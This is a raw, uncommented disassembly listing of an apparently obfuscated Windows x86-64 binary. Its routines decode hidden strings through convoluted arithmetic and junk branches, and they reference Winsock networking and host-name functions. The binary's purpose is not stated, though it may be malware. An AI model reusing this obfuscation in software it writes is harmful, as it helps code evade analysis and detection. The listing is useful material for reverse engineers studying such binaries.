mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add cl, r9b
add cl, dil
add cl, r10b
mov byte [rbp + r11 + 0x40], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140045b63
movzx r10d, r11b
lea edx, [r10 - 0x14]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, byte [rbp + r11 + 0x40]
sub dil, 0x74
add dil, dl
add r10b, 0x4a
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 6
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x40], al
inc r8
add rax, r8
sub r11, rax
jmp 0x14004657d
lea ecx, [r11 + 0x52]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x3e
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140045b63
lea ecx, [r11 - 0x16]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x66
dec r11
inc r11
jmp 0x140045b63
movzx r10d, r11b
lea edx, [r10 + 0x72]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x1e
add dil, dl
sub r10b, 0x2e
movzx eax, r9b
and al, r10b
mov ecx, 0x21
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x40], cl
inc r8
dec r11
inc r11
jmp 0x140045b63
lea edx, [r11 - 0x7e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r11
inc r11
jmp 0x140045b63
lea rcx, [r11 + r12]
movzx r9d, r10b
and r10b, cl
mov eax, reloc.WS2_32.dll_send
sub al, r10b
lea edi, [rax + rax]
add dil, cl
add dil, r9b
lea edx, [r11 - 0x58]
movzx eax, r9b
and al, dl
mov ecx, 0x34
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r11 + 0x40], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140045b63
lea rdx, [r11 + r15]
movzx eax, r10b
and al, dl
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x140045b63
sub r11b, 0x2a
movzx eax, r9b
and al, r11b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
jmp 0x140045b60
add r11b, 0x1a
movzx eax, r9b
and al, r11b
mov ecx, 0x25
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
jmp 0x140045b44
lea rdx, [rbp + 0x15d3f68]
jmp 0x140046642
lea rdx, [rbp + 0x162ffc6]
jmp 0x140046642
lea rdx, [rbp + 0x40]
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm0
mov qword [rbp + 0x140], 0
mov qword [rbp + 0x148], 0
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140046670
lea rcx, [rbp + 0x130]
call fcn.1400412c0
nop
mov dword [rbp + 0x20], 0x45445959
mov word [rbp + 0x24], 0x4a4b
mov byte [rbp + 0x26], 0x76
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x27], xmm0
mov dword [rbp + 0x37], eax
mov word [rbp + 0x3b], ax
mov byte [rbp + 0x3d], al
movabs r14, 0x7329772a13ea772e
movabs r15, 0xc75307ab33e309e
movabs r13, 0x262242268b694242
movabs r12, 0x597c657e3bbf658a
movzx edi, byte [rsp + 0x20]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop dword [rax + rax]
xor r10d, r10d
cmp r10, 0x1e
jae 0x1400470d4
movzx r11d, byte [rbp + r10 + 0x20]
mov r9, r11
cmp rbx, r10
ja 0x1400470cb
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140046732
lea rcx, [r10 + r14]
mov rax, r11
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r11
add rdi, rcx
sub dil, 0x42
jmp 0x140046770
je 0x140047057
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140046fd1
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140046fa1
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140046f7c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140046f58
nop dword [rax]
cmp r8, r10
ja 0x1400470c2
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x14004679a
lea ecx, [r10 - 0x3a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x6a
jmp 0x1400467c1
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140046f0d
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140046ecc
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140046eb1
lea rdx, [r8 + rbx]
cmp rdx, r10
jbe 0x140046c9d
nop
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140046c7e
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140046c5d
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140046c3a
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140046c1c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140046bfd
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140046be2
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140046bc3
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140046b99
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x1400467d0
mov rbx, rax
lea r8, [rax + 0x41]
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x1400470a2
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140047085
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14004699b
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140046980
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140046961
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140046b4d
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140046b0d
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140046ae6
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x1400467d0
lea rbx, [r8 + 4]
lea r8, [rbx + 4]
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140046abc
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140046a9d
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140046a82
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x140046a63
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x140046a45
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140046a22
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140046a01
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x1400469d9
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x1400469ba
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400467d0
mov rbx, rax
lea r8, [rax + 0x10]
jmp 0x1400467d0
lea edx, [r10 - 6]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x1400467c1
lea ecx, [r10 - 0x62]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x52
jmp 0x140046770
lea edx, [r10 + 0x42]
movzx eax, dl
and al, r11b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140046703
lea ecx, [r10 + 0x30]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x50
movzx r9d, r10b
jmp 0x140046f2b
lea edx, [r10 - 0x2c]
movzx eax, dl
and al, r11b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r8
dec r10
inc r10
jmp 0x1400466f3
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x48
dec r10
inc r10
jmp 0x1400466f3
lea edx, [r10 + 0x1c]
movzx eax, dl
and al, r11b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx r9d, r10b
jmp 0x140046ee6
lea ecx, [r10 - 0x40]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x40
add rbx, r8
jmp 0x140046fb8
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r11b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140046fb8
lea ecx, [r10 + 8]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x38
jmp 0x140046fed
lea edx, [r10 - 0x54]
movzx eax, dl
and al, r11b
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140047016
lea ecx, [r10 + 0x50]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x30
movzx eax, byte [rbp + r10 + 0x20]
add rax, r8
add r10, rax
inc r10
jmp 0x1400466f3
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
mov byte [rbp + r10 + 0x20], dil
inc r10
jmp 0x1400466f3
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x62
cmp r8, 6
jb 0x140046b00
movzx r9d, r10b
lea ecx, [r9 + 0x54]
movzx eax, cl
and al, r11b
mov edx, 0x1a
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea edi, [rdx + rdx]
jmp 0x140046f2b
lea edx, [r10 - 0x4e]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
cmp rbx, 0x80
jae 0x140046e70
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x140046dcd
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x24
jmp 0x140046b23
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7c
movzx eax, byte [rbp + r10 + 0x20]
add rax, r8
add r10, rax
inc r10
jmp 0x1400466f3
lea edx, [r10 + 0x48]
movzx eax, dl
and al, r11b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140047016
lea ecx, [r10 - 0x14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x74
jmp 0x140046fed
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140046fb8
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x6c
add rbx, r8
jmp 0x140046fb8
movzx r9d, r10b
lea edx, [r9 - 0x28]
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140046ee6
lea ecx, [r10 + 0x7c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x64
dec r10
inc r10
jmp 0x1400466f3
movzx r9d, r10b
lea ecx, [r9 - 0x3c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x5c
jmp 0x140046f2b
lea rax, [r8 + 4]
cmp rbx, rax
jae 0x140046ce3
lea ecx, [r10 + 0x2e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x42
cmp rdx, 0x10
je 0x140046e91
lea rax, [r8 + 0x10]
cmp rbx, rax
jbe 0x140046d4c
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r11b
mov ecx, 0x23
jmp 0x140046b5c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140046d1a
lea edx, [r10 - 0x74]
movzx eax, dl
and al, r11b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x20]
add rax, r8
add r10, rax
inc r10
jmp 0x1400466f3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140046d31
lea edx, [r10 - 0x4c]
mov ecx, 0xa
jmp 0x140046f85
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140046cbc
movzx r9d, r10b
lea edx, [r9 + 0x6c]
mov ecx, 6
jmp 0x140046f1a
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140046d74
movzx r9d, r10b
lea ecx, [r9 + 0x52]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x3e
jmp 0x140046f2b
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140046da5
lea edx, [r10 - 0x52]
movzx eax, dl
and al, r11b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
inc r8
dec r10
inc r10
jmp 0x1400466f3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140046b67
lea ecx, [r10 + 0x7a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x56
jmp 0x140046fed
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140046e04
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r11b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x20]
add rax, r8
add r10, rax
inc r10
jmp 0x1400466f3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140046e29
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r11b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140046fea
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140046e51
movzx r9d, r10b
lea ecx, [r9 - 0x1c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x3c
jmp 0x140046ee6
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140046b23
movzx r9d, r10b
lea edx, [r9 - 8]
mov ecx, 0x1c
jmp 0x140046f1a
movzx r9d, r10b
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r11b
movzx ecx, byte [rbp + r10 + 0x20]
sub cl, al
add cl, 0x18
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140046ee6
lea ecx, [r10 + 0xc]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x20]
lea edi, [r11 + rcx]
sub dil, 0x54
jmp 0x140046fed
lea ecx, [r10 + 0x4a]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 6
jmp 0x140046fed
movzx r9d, r10b
lea ecx, [r9 + 0x36]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7a
sub r9b, 0x22
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x12
add r9b, dil
add r9b, r11b
mov byte [rbp + r10 + 0x20], r9b
add rbx, r8
jmp 0x140046fb8
movzx r9d, r10b
lea edx, [r9 + 0x22]
mov ecx, 9
movzx eax, dl
and al, r11b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
sub r9b, 0x7e
movzx eax, r11b
and al, r9b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
add cl, cl
add cl, r11b
add cl, r9b
mov byte [rbp + r10 + 0x20], cl
inc r8
dec r10
inc r10
jmp 0x1400466f3
lea ecx, [r10 + 0xe]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x62
inc r8
dec r10
inc r10
jmp 0x1400466f3
lea edx, [r10 - 0x4e]
mov ecx, reloc.WS2_32.dll_recvfrom
movzx eax, dl
and al, r11b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x1400466f3
lea rcx, [r10 + r15]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x52
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400466f3
lea rcx, [r10 + r13]
movzx r11d, r9b
and r9b, cl
mov eax, 0x19
sub al, r9b
lea edi, [rax + rax]
add dil, cl
add dil, r11b
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x20], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
mov byte [rbp + r10 + 0x20], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x20]
add rax, r8
add r10, rax
inc r10
jmp 0x1400466f3
lea rdx, [r10 + r12]
movzx eax, r9b
and al, dl
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x20]
add rax, r8
add r10, rax
inc r10
jmp 0x1400466f3
sub r10b, 0x1a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x4a
jmp 0x1400466f0
sub r10b, 0x76
movzx eax, r10b
and al, r11b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x1400466d8
lea rdx, [rbp + 0x1481308]
jmp 0x1400470d8
lea rdx, [rbp + 0xf28a36]
jmp 0x1400470d8
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x150]
call fcn.140043270
nop
lea rdx, [rbp + 0x130]
mov rcx, rax
call fcn.140044d70
lea rax, [rbp + 0x170]
mov qword [rbp + 0xe8], rax
mov dword [rbp], 0x282d2e08
mov dword [rbp + 4], 0x24681111
mov word [rbp + 8], 0x3a21
mov byte [rbp + 0xa], 0xaa
xor eax, eax
mov qword [rbp + 0xb], rax
mov dword [rbp + 0x13], eax
movabs rsi, 0x6a1c2fd3ebd7bcc8
movabs r15, 0xe6c54ecb72e62978
movabs r14, 0x3e548f7bc3873658
movzx edi, byte [rsp + 0x20]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x17
jae 0x140047a46
movzx r10d, byte [rbp + r11]
mov rdx, r10
cmp rbx, r11
ja 0x140047a3d
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400471a2
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, r10
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r10
sub dil, 0x78
jmp 0x1400471d0
je 0x1400479d2
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140047952
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400478f7
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400478d6
nop
cmp r8, r11
ja 0x140047a34
lea rax, [r8 + 0x41]
cmp rbx, rax
jae 0x1400471fe
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140047230
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004788e
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140047872
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140047848
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400475bb
nop dword [rax]
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x1400475a9
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140047581
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14004755f
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14004769c
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140047543
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140047528
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14004750d
lea rbx, [r8 + 0x41]
lea r8, [rbx + 0x40]
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x140047a17
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x1400479fa
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14004738e
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140047373
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140047358
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x14004745c
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0xa]
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140047432
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140047417
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x1400473fc
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x1400473e1
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x1400473cc
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400473a9
lea rbx, [r8 + 6]
lea r8, [rbx + 0x61]
jmp 0x140047240
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x140047230
lea ecx, [r11 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x1400471d0
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x140047173
lea edx, [r11 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x140047915
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
jmp 0x140047936
lea ecx, [r11 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x140047939
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x14004796c
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x140047991
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
movzx eax, byte [rbp + r11]
add rax, r8
add r11, rax
inc r11
jmp 0x140047163
lea edx, [r11 + 0x28]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x18
add dil, dl
lea rax, [r8 + rbx]
cmp rax, 2
je 0x14004782c
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x1400476bc
lea edx, [r11 - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
cmp rbx, 0x41
jae 0x14004780b
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x14004774e
lea edx, [r11 + 0x10]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x70
add dil, dl
cmp r8, 0x10
jb 0x1400477fe
movzx r9d, r11b
lea ecx, [r9 - 0x50]
movzx eax, cl
and al, r10b
mov edx, 0x18
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x1400478ac
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x140047991
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x140047939
lea ecx, [r11 + 0x30]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x50
jmp 0x140047936
lea ecx, [r11 + 0x10]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x70
dec r11
inc r11
jmp 0x140047163
lea ecx, [r11 + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x80
inc r8
dec r11
inc r11
jmp 0x140047163
lea edx, [r11 - 0x10]
mov ecx, gethostname
movzx r9d, r11b
jmp 0x14004789b
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x1400475e3
lea edx, [r11 - 0x38]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x78
jmp 0x140047473
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004761a
lea edx, [r11 - 0x30]
movzx eax, r10b
and al, dl
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11]
add rax, r8
add r11, rax
inc r11
jmp 0x140047163
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140047642
lea edx, [r11 - 0x10]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14004796c
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004766a
lea ecx, [r11 + 0x80]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x80
jmp 0x140047939
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004768f
lea ecx, [r11 + 0x10]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x70
jmp 0x140047936
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140047476
movzx r9d, r11b
lea edx, [r9 - 0x60]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x60
jmp 0x140047912
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400476d7
movzx r9d, r11b
lea edx, [r9 + 0x38]
mov ecx, 0x3c
jmp 0x14004789b
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140047702
lea ecx, [r11 + 0x58]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x68
dec r11
inc r11
jmp 0x140047163
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140047726
lea ecx, [r11 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x140047939
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400474ae
lea ecx, [r11 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x14004796c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140047782
lea ecx, [r11 - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x60
movzx eax, byte [rbp + r11]
add rax, r8
add r11, rax
inc r11
jmp 0x140047163
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400477a6
lea ecx, [r11 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
jmp 0x14004796c
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400477ce
movzx r9d, r11b
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
jmp 0x140047915
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400474df
movzx r9d, r11b
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400478ac
mov byte [rbp + r11], dil
inc r11
jmp 0x140047163
movzx r9d, r11b
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + r11]
sub cl, al
add cl, 0x20
lea edi, [rcx + rcx]
jmp 0x140047912
lea edx, [r11 - 0x30]
movzx eax, r10b
and al, dl
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14004796c
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
